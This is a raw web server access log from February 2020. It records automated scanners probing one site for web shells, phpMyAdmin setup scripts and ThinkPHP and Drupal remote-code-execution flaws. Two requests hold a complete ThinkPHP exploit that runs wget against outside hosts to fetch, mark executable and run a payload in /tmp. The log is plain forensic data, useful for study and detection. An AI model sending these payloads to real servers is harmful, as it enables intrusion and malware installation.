67.100.142.50 - - [08/Feb/2020:20:56:43 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:44 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:45 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [08/Feb/2020:20:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.124.185.171 - - [08/Feb/2020:20:56:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
67.100.142.50 - - [08/Feb/2020:20:56:48 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:49 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:51 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:52 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:53 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:55 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:56 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:59 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:05 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:06 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:07 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:09 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:10 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:11 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:12 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:14 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:15 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:16 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:17 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:19 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:21 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:23 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:24 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:25 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:27 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:28 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:31 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:37 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:38 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:57:41 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [08/Feb/2020:20:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:20:58:02 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:58:03 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:58:04 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:58:06 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:58:07 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:58:08 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:58:10 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:58:11 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:58:12 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:58:19 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:58:33 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [08/Feb/2020:20:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:20:58:57 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:58:58 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:00 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:04 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:05 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:06 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:08 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
77.211.25.157 - - [08/Feb/2020:20:59:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
67.100.142.50 - - [08/Feb/2020:20:59:09 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:10 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:11 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:14 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:16 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:17 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:18 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:20 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:31 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:33 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:34 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:35 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:36 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:38 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:39 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:40 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:42 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:43 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:44 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:46 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [08/Feb/2020:20:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:20:59:47 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:50 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:51 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:52 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:54 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:59:59 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:01 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:02 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:04 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:16 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:17 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:18 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:21 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:23 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:24 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:25 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:27 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:28 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:31 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:32 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:33 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:37 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:38 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:39 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:40 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:42 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:44 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:46 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [08/Feb/2020:21:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:21:00:47 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:48 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:51 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:53 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:54 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:57 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:00:58 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:21:01:00 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
67.100.142.50 - - [08/Feb/2020:21:01:26 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
67.100.142.50 - - [08/Feb/2020:21:01:45 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [08/Feb/2020:21:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:21:02:19 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
67.100.142.50 - - [08/Feb/2020:21:02:38 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [08/Feb/2020:21:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:21:03:01 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
67.100.142.50 - - [08/Feb/2020:21:03:20 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
67.100.142.50 - - [08/Feb/2020:21:03:43 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [08/Feb/2020:21:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:21:04:06 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
67.100.142.50 - - [08/Feb/2020:21:04:28 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
67.100.142.50 - - [08/Feb/2020:21:04:29 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
67.100.142.50 - - [08/Feb/2020:21:04:30 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
67.100.142.50 - - [08/Feb/2020:21:04:32 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
67.100.142.50 - - [08/Feb/2020:21:04:35 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [08/Feb/2020:21:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:21:04:56 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
67.100.142.50 - - [08/Feb/2020:21:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [08/Feb/2020:21:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:21:05:58 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
67.100.142.50 - - [08/Feb/2020:21:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [08/Feb/2020:21:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
